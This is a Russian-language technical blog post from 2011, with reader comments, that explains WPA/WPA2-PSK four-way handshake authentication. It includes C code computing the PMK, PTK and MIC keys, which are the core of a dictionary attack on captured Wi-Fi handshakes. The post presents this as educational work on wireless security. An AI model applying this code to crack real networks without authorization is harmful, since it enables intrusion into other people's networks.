25 июня 2011 в 07:20

Об алгоритме взлома WPA-PSK

Доброго времени суток, уважаемое Хабросообщество!
В данном топике хотелось бы рассмотреть некоторые тонкие вопросы, связанные с атаками на сети Wi-Fi в режиме разделяемого ключа WPA-PSK (если говорить более просто — WPA-PSK — режим без выделенного сервера аутентификации, который используют большинство пользователей Wi-Fi, например, при создании подключения по сети типа компьютер-компьютер).

К чему все это?


На бескрайних просторах интернета можно найти как описание способов такой атаки, так и скачать программы полуавтоматического ее проведения (яркий пример aircrack-ng). Но вот программы эти в большинстве своем представляются пользователю в виде некоего черного ящика, который при этом хорошо если работает в соответствии с руководством по его эксплуатации.

Недавняя статья на Хабре, посвященная одной из таких программ, упоминающая в себе использование радужных таблиц (возможно ли это?) для ускорения атаки, и подтолкнула меня к написанию данного топика. Надеюсь информация окажется полезной, так как аналогов в сети я не встречал ни на отечественном, ни на вражеских языках.

В атаку, товарищи!


Суть атаки на сеть в режиме WPA-PSK заключается в следующем: используя уязвимости протокола аутентификации пользователей (а именно открытую передачу данных) получить из сети некоторые авторизационные данные, а затем воспроизвести на стороне атакующего алгоритм аутентификации (вики в тему, жаль, пока короткая), подставляя в него в качестве исходных данных перехваченный кусочек трафика и пароль (т.н. разделяемый ключ). Настоящий пароль атакующему не известен, поэтому в качестве него выбирается последовательно пароли из заранее подготовленного словаря. Если при воспроизведении алгоритма аутентификации произойдет «успешная авторизация пользователя», значит выбранный из словаря пароль является истинным и атака привела к успешному взлому сети. Подробнее об алгоритме установления соединения (4-стороннее рукопожатие) можно прочитать в первоисточнике.

Чем дальше в лес, тем злее волки

Теперь немного углубимся в дебри замечательного (ли?) стандарта IEEE 802.11i и рассмотрим подробнее алгоритм 4-стороннего рукопожатия.

Исходя из названия режима ("… с разделяемым ключом") логично предположить, что в процессе установления соединения и дальнейшего общения между клиентом и точкой доступа будет использоваться некоторая «ключная» (беда, беда с родной речью) схема, а именно — набор ключей, как временных, так и статических, используемых для шифрования трафика, проверки целостоности сообщений и т.п. При этом договоренность об использовании ключей происходит именно на этапе 4-стороннего рукопожатия.

Для воспроизведения алгоритма аутентификации пользователя на стороне атакующего необходимо иметь информацию не только из пакетов 4-стороннего рукопожатия, но и из пакетов широковещательной рассылки точкой доступа информации об организованной ей сетью (Access Point Beacon, признак такого пакета — MAC-адрес отправителя == MAC-адресу точки доступа (bssid в нотификации стандарта), MAC-адрес получателя широковещательный FF:FF:FF:FF:FF:FF). В частности, из таких фреймов необходимо получить имя сети (essid в нотификации стандарта).

Сообщения 4 стороннего рукопожатия (4 фрейма канального уровня) содержат в себе информационные поля следующего содержимого (указываю только то, что нужно для последующего написания кода, воспроизводящего алгоритм атаки, за подробностями — в стандарт):
  • MAC-адрес точки доступа;
  • MAC-адрес клиента;
  • случайное 32-байтное число, генерируемое точкой доступа при установлении соединения (anonce) — фрейм I;
  • случайное 32-байтное число, генерируемое клиентом (snonce) — фрейм II;
  • размер текущего фрейма аутентификации (без канального заголовка) — фрейм II или III или IV;
  • содержимое фрейма аутентификации (без канального заголовка) — обязательно тот же, фрейм, что выбран в предыдущем пункте;
  • ключ целостности сообщения (mic) — обязательно тот же, фрейм, что выбран в предыдущем пункте;
  • версия протокола защиты данных (WPA или WPA2) — фрейм II или III или IV.
Признаки того, что фрейм является сообщением 4-стороннего рукопожатия легко найти в стандарте IEEE 802.11i в одноименном разделе (4-way handshake).

Теперь кратко об алгоритме установления соединения — точка доступа и клиент обмениваются вышеперечисленными данными (но не и только ими), передавая информацию в открытом (нешифрованном) виде. При этом для устранения усложнения проведения атаки типа «человек посередине» введена проверка целостности сообщений (начиная со второго фрейма!) посредством вычисления функции авторства сообщения, основанной на хэше (HMAC), по его содержимому с использованием в качестве ключа не только статического ключа, т. е. пароля (а на самом деле хэша от него), но и случайных чисел anonce и snonce, сгенерированных участниками рукопожатия в момент установления соединения (а также используются их аппаратные адреса). В результате, так как и клиент и точка доступа знают случайные числа друг друга, а пароль должен быть на них вбит одинаковый, ключи целостности сообщений будут совпадать с двух сторон. Если в процессе передачи 4 фреймов рукопожатия будет зафиксировано 3 успешных проверки целостности (а также устройствам удастся договориться о поддерживаемых режимах работы), то точкой доступа делается вывод о подключении валидного клиента.

Как видно из вышеприведенного описания никакие ключи (ни пароль, ни временные ключи проверки целостности) в открытом виде по сети не передаются.

Возникает справедливый вопрос — как же атакующему получить заветный ключик?

Внутрь черного ящика

Немного пораскинув мозгами на ум приходит простое решение — алгоритм известен, входные данные, за исключением самого пароля, также известны. Так что же мешает проводить вычисления ключа целостности сообщения выбирая любой случайный (ну может и не совсем случайный, все же тешат свое ЧСВ, ставя паролями godgod и пр.) пароль из стоящего на полке словаря Владимира Ивановича Даля. Пусть мы ошибемся несколько тысяч (или миллионов) раз, но рано или поздно Фортуна может улыбнуться нам атакующему своей голливудской улыбкой, и вычисленный ключ целостности совпадет с перехваченным. А это будет означать лишь одно (справедливо в связи с лавинным эффектом хэширующих функций) — пароль, используемый при создании сети вскрыт!

Наконец-то код

Итак, последний рывок. Кто дочитал до сюда сейчас получит конфетку.

Теория позади, впереди практика. Что стоит сделать в первую очередь? Правильно, вычислить набор ключей. А он для режима WPA-PSK достаточно маленький:
  1. Мастер-ключ PMK (многократно захэшированный пароль с использованием в качестве затравки имени сети essid).
  2. Передаточный ключ PTK (вот с помощью него, а точнее его части происходит вычисление ключа целостности сообщений).
Как вычисляются ключи? В этом нам поможет открытый исходный код программного пакета aircrack-ng, а особо жаждущим научного подхода прочтение RFC.

Начнем с пункта 1.

void calc_pmk( char *key, char *essid_pre, uchar pmk[40] )
{
    int i, j, slen;
    uchar buffer[65];
    char essid[33+4];
    SHA_CTX ctx_ipad;
    SHA_CTX ctx_opad;
    SHA_CTX sha1_ctx;

    memset(essid, 0, sizeof(essid));
    memcpy(essid, essid_pre, strlen(essid_pre));
    slen = strlen( essid ) + 4;

    /* setup the inner and outer contexts */

    memset( buffer, 0, sizeof( buffer ) );
    strncpy( (char *) buffer, key, sizeof( buffer ) - 1 );

    for( i = 0; i < 64; i++ )
        buffer[i] ^= 0x36;

    //SHA1_Init() initializes a SHA_CTX structure.
    SHA1_Init( &ctx_ipad );
    //SHA1_Update() can be called repeatedly with chunks of the message to be hashed (len bytes at data).
    SHA1_Update( &ctx_ipad, buffer, 64 );

    for( i = 0; i < 64; i++ )
        buffer[i] ^= 0x6A;

    SHA1_Init( &ctx_opad );
    SHA1_Update( &ctx_opad, buffer, 64 );

    /* iterate HMAC-SHA1 over itself 8192 times */

    essid[slen - 1] = '\1';
    HMAC(EVP_sha1(), (uchar *)key, strlen(key), (uchar*)essid, slen, pmk, NULL);
    memcpy( buffer, pmk, 20 );

    for( i = 1; i < 4096; i++ )
    {
        memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) );
        SHA1_Update( &sha1_ctx, buffer, 20 );
        //SHA1_Final() places the message digest in md, which must have space for SHA_DIGEST_LENGTH ==
        //20 bytes of output, and erases the SHA_CTX
        SHA1_Final( buffer, &sha1_ctx );

        memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) );
        SHA1_Update( &sha1_ctx, buffer, 20 );
        SHA1_Final( buffer, &sha1_ctx );

        for( j = 0; j < 20; j++ )
            pmk[j] ^= buffer[j];
    }

    essid[slen - 1] = '\2';
    HMAC(EVP_sha1(), (uchar *)key, strlen(key), (uchar*)essid, slen, pmk+20, NULL);
    memcpy( buffer, pmk + 20, 20 );

    for( i = 1; i < 4096; i++ )
    {
        memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) );
        SHA1_Update( &sha1_ctx, buffer, 20 );
        SHA1_Final( buffer, &sha1_ctx );

        memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) );
        SHA1_Update( &sha1_ctx, buffer, 20 );
        SHA1_Final( buffer, &sha1_ctx );

        for( j = 0; j < 20; j++ )
            pmk[j + 20] ^= buffer[j];
    }
}

Собственно 90 % кода уже позади. Как видно все операции простейшие, в качестве алгоритма хэширования используется SHA-1, а именно его реализация, поставляемая в OpenSSL . Смысл использования в качестве ключа не пароля, а хэша от него двоякий — с одной стороны, это путь к унификации длины ключа (так как длина самого пароля по стандарту может варьироваться от 8 до 63 ASCII-символов), а с другой стороны — внесение вычислительной сложности в алгоритм формирования схемы ключей, чтобы избежать легковесных атак перебором (это два цикла по 4095 итераций в коде).

Переходим к пункту 2. Здесь вычисляется временный (суть временности в том, что в его вычислении участвуют два случайных числа snonce и anonce, являющиеся новыми каждый раз при установлении соединения) ключ PTK, используемый для вычисления ключей целостоности передаваемых фреймов. Помимо чисел snonce и anonce в его формировании участвуют MAC-адреса точки доступа и клиента, сакраментальная фраза «Pairwise key expansion» (придумают же такое) и конечно гвоздь программы — ключ PMK. Необходимость для формирования ключа всех этих параметров делает его с одной стороны ограниченным по времени использования (никакие радужные таблицы не помогут теперь), с другой стороны привязанным к конкретной аппаратуре (атака типа «человек посередине» усложняется), а с третьей стороны — хоть и косвенно, но долговычисляемым, так как он не может быть получен в обход алгоритма формирования ключа PMK.

void calc_ptk( uchar *pmk, uchar pke[100], uchar *ptk )
{
    /* compute the pairwise transient key*/
    for (int i = 0; i < 4; i++)
    {
        pke[99] = i;
        HMAC(EVP_sha1(), pmk, 32, pke, 100, ptk + i * 20, NULL);
    }
}

void main()
{
    uchar pmk[40];  //Используется первых 32 байта
    uchar ptk[80];
    uchar mic[20];  //Используется первых 16 байт

    char *key = "12345678"; 

    char essid_pre[32];
    memset(essid_pre, 0, 32);
    memcpy(essid_pre, "Harkonen", 8);
    
    uchar bssid[6] = { 0x00, 0x14, 0x6c, 0x7e, 0x40, 0x80 };
    uchar stmac[6] = { 0x00, 0x13, 0x46, 0xfe, 0x32, 0x0c };
    uchar anonce[32] = { 0x22, 0x58, 0x54, 0xb0, 0x44, 0x4d, 0xe3, 0xaf,
                         0x06, 0xd1, 0x49, 0x2b, 0x85, 0x29, 0x84, 0xf0,
                         0x4c, 0xf6, 0x27, 0x4c, 0x0e, 0x32, 0x18, 0xb8, 
                         0x68, 0x17, 0x56, 0x86, 0x4d, 0xb7, 0xa0, 0x55 };

    uchar snonce[32] = { 0x59, 0x16, 0x8b, 0xc3, 0xa5, 0xdf, 0x18, 0xd7, 
                         0x1e, 0xfb, 0x64, 0x23, 0xf3, 0x40, 0x08, 0x8d,
                         0xab, 0x9e, 0x1b, 0xa2, 0xbb, 0xc5, 0x86, 0x59, 
                         0xe0, 0x7b, 0x37, 0x64, 0xb0, 0xde, 0x85, 0x70 };
    
    uchar pke[100];
    memset(pke, 0, 100);
    memcpy( pke, "Pairwise key expansion", 23 );
    if( memcmp( stmac, bssid, 6 ) < 0 )    {
        memcpy( pke + 23, stmac, 6 );
        memcpy( pke + 29, bssid, 6 );
    } else {
        memcpy( pke + 23, bssid, 6 );
        memcpy( pke + 29, stmac, 6 );
    }
    if( memcmp( snonce, anonce, 32 ) < 0 ) {
        memcpy( pke + 35, snonce, 32 );
        memcpy( pke + 67, anonce, 32 );
    } else {
        memcpy( pke + 35, anonce, 32 );
        memcpy( pke + 67, snonce, 32 );
    } 

    calc_pmk( key, essid_pre, pmk );
    calc_ptk( pmk, pke, ptk );
}

Код снова элементарный. Сначала в main происходит формирование массива pke, содержащего все вышеописанные параметры, а затем 4-кратное вычисление HMAC. Хотя нас далее будет интересовать исключительно первые 16 байт.

Собственно формирование набора ключей закончено. Остается лишь вычислить с использованием PTK ключ целостности по какому-нибудь из фреймов 4-стороннего рукопожатия (предварительно забив в нем нулями поле mic) и сравнить полученный результат с перехваченным ключом. Функция вычисления ключа целсотности mic представлена в следующем кусочке кода. Различные ветви оператора if соответствуют версиям протокола защиты данных WPA и WPA2.

void calc_mic( int wpaKeyVer, uchar *ptk, uchar *eapol, size_t eapolSize, uchar *mic )
{
    if (wpaKeyVer == 1)
        HMAC(EVP_md5(), ptk, 16, eapol, eapolSize, mic, NULL);
    else
        HMAC(EVP_sha1(), ptk, 16, eapol, eapolSize, mic, NULL);
}

Пример рабочего проекта можно взять отсюда.

Очевидно, что для организации полноценной атаки перебором остается лишь повторить вышеописанный алгоритм для каждого пароля из словаря.

Мысли в слух

Анализ алгоритма аутентификации пользователей в WPA/WPA2-PSK позволяет сделать следующий вывод: радужные таблицы становятся неактуальными при таком подходе к вычислению ключей, а на первый план выходит скорость перебора паролей из словаря.

Но об этом уже в следующий раз…

Спички детям не игрушка

Данный топик был извергнут из глубин моего подсознания исключительно в целях повысить безопасность передачи информации в беспроводных сетях Wi-Fi. Публично обличая методы взлома, используемые нерадивыми личностями, мы способствуем повышению уровня знаний широких кругов пользователей, а как говорится «Предупрежден, значит вооружен!»
+80
71683
187
Ostrovski 21,9

Комментарии (27)

+2
Anexroid, #
Перенесите в «Информационную безопасность»
+1
Mach1ne, #
Rainbow tables для WPA-PSK актуальны в любом случае. Они экономят время, сделанные один раз (1 таблица на Х essid'ов и Y паролей), они могут использоваться продолжительное время. Вот Вам для примера:
1000 уникальных essid'ов + 172000 паролей = 120 гб (33 гб в архиве) — одна из самых популярных пендоских таблиц.

В любом случае, все зависит от словаря. Ели он пробивной на 40%+, то имеет смысл заняться радужными таблицами для бОльшего профита.
+3
Ostrovski, #
Без сомнения применить эту технологию можно, но 172000 паролей — это 10 сек проверки даже без радужных таблиц. Essid известен на момент подбора, так что хоть записей в такой таблице 1000 * 172000, нам подходят только 172000 из них. Какой смысл тратить 120 ГБ ради экономии 10 сек?

P.S. Не забываем, что все мы живем в России, essid зачастую на русском языке написан, как впрочем и пароль. Кто знает готовые решения программ перебора с учетом языковой специфики, поделитесь здесь ими, если не жалко конечно
0
Mach1ne, #
База для примера приведенна. Ничего не мешает взять 20 «народных» essidoв типа zyxel, dlink и прочих часто встречающихся, взять свой пробивной словарик на 1 миллион слов и все.
+3
Ostrovski, #
У нас народные ESSIDы — это «фыва», «олдж» и тому подобные =)
0
vorobyev, #
Я правильно понимаю, что скрытие ESSID + длинный автоматически сгенерированный ключ делают эту атаку неэффективной?
+2
Talismanium, #
ESSID «не видно» пользователю из анонсов
в сети он есть, когда точка «активна»
0
RaTRaZe, #
Скрытие ESSID мало чем поможет. А вот большой и хороший ключ спасет отца русской демократии.
+2
Ostrovski, #
сокрытие ESSID не поможет, его все равно можно поймать, перехватив запрос клиента на авторизацию. А атака и так на настоящий момент достаточно малоэффективная, если дома нет кластера или доступа к суперкомпьютеру. Даже все 8 символки не перебрать сейчас в домашних условиях. Так что выбирайте просто удачный пароль и не бойтесь, Вас взломают другими способами =)) Повторюсь, пока все известные программы-взломщики используют только словари на латинице, в то время, как Windows уже позволяет использовать русские имена и пароли (хоть это и отступление от стандарта).
0
vorobyev, #
Да, начинаю вспоминать этот раздел протокола. В свое время использовал в домашней сетке как пароль VIN код своего автомобиля… конечно не ахти какая последовательность, но зато запоминать легко и словари по VIN кодам вроде пока не придумали… ;-)
+3
Ostrovski, #
Спeциaльноe прeдложeниe для воeнных — постaвь в кaчeствe пaроля к точкe доступa номeр своeго aвтомaтa Кaлaшниковa и получи дeнь к отпуску в подaрок!
+2
GrimGroom, #
Расскажите пожалуйста про TKIP и AES и при каких условиях можно расшифровать трафик имея ключи сети.
0
Ostrovski, #
При любых, если есть ключ. airodecap-ng смотрите
0
galaxy, #
Угу, только некоторое неудобство в том, что сначала все-таки придется для каждого клиента 4-way handshake перехватить.
0
Ostrovski, #
На чем основывается Ваше утверждение? Пароль один для всех, достаточно его узнать
0
galaxy, #
PSK (пароль для сети, который руками вводится) — один, а PMK — для каждого клиента свой, и чтобы его получить, надо заснифать рукопожатие и знать или подобрать PSK.
Собственно вот:
WPA/WPA2 Requirements

The capture file must contain a valid four-way handshake. For this purpose having (packets 2 and 3) or (packets 3 and 4) will work correctly. In fact, you don't truly need all four handshake packets.

www.aircrack-ng.org/doku.php?id=airdecap-ng
0
Ostrovski, #
Вы статью читали? void calc_pmk( char *key, char *essid_pre, uchar pmk[40] ) — два параметра — пароль (PSK), который подбираем и ESSID. Сколько по Вашему будет разных PMK в таком случае?

Что написано на вражеском языке? В вольном переводе примерно следующее — Перехваченный файл должен содержать верный дамп 4-стороннего рукопожатия. Для этих целей нужны либо 2 и 3 пакеты, либо 3 и 4 и вовсе не обязательно иметь все 4 пакета сразу. Алес. Где тут про хэндшейки всех клиентов?
+1
galaxy, #
Тьфу ты, прошу прощения, в моем комментарии PMK следует читать как PTK.
Рукопожатие — это как раз обмен пакетами для вычисления PTK. Или будете спорить, что PTK у каждого клиента свой?
0
Ostrovski, #
Не спорю, тут Вы правы. Трафик шифруется частью PTK видимо, хотя не смотрел точно. Нужно как-нибудь капнуть в эту сторону
+1
GrimGroom, #
Вот дамп WPA2 с TKIP+AES в формате libpcap rghost.ru/12455201

Пароль от сети: 123123qq
ESSID: password_123123qq
BSSID: 00:25:9c:4b:b2:5c

В дампе есть полный handshake.

Покажите пример использования airdecap, который позволяет расшифровать этот дамп.

0
Ostrovski, #
Удаляемся от темы топика. Это уже потянет на отдельный. Вот можете разобраться как с помощью этой утилиты дешифровать трафик и нам доложите потом )
0
galaxy, #
Airdecap не расшифровывает, пес его знает почему, из моего небольшого опыта aircrack — пакет достаточно глюкавый.
А вот wireshark отлично расшифровал, правда я не понял, как сохранить расшифрованный pcap файл, так что только текст: files.mail.ru/XZMQGN (оставил только data пакеты)
0
Ostrovski, #
Ну вот и прекрасно. Можете написать топик, будет полезно. Aircrack — тот еще зверь, но зато бесплатный )
0
EiZeRR, #
Чего-нить удалось сломать на практике с этим методом? Если да, то за какое время?
0
Ostrovski, #
Для WPA-PSK только этим методом и ломается. Сломать удалось, зная пароль и добавив его в словарь =) Рафинировано как-то конечно, но что поделать, ради проверки сойдет. А так дерзайте, все зависит от удачного выбора словаря
–1
serjkeee, #
статья конечно полезная и интересная, но больше просто для основы взлома протокола IEEE 802.11, почти все здесь решает именно успешно подобранный словарь.
–2
maxdm, #
«ключная» => «ключевая». «handshake» лучше на русский не переводить — «рукопожатие» звучит инородно.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.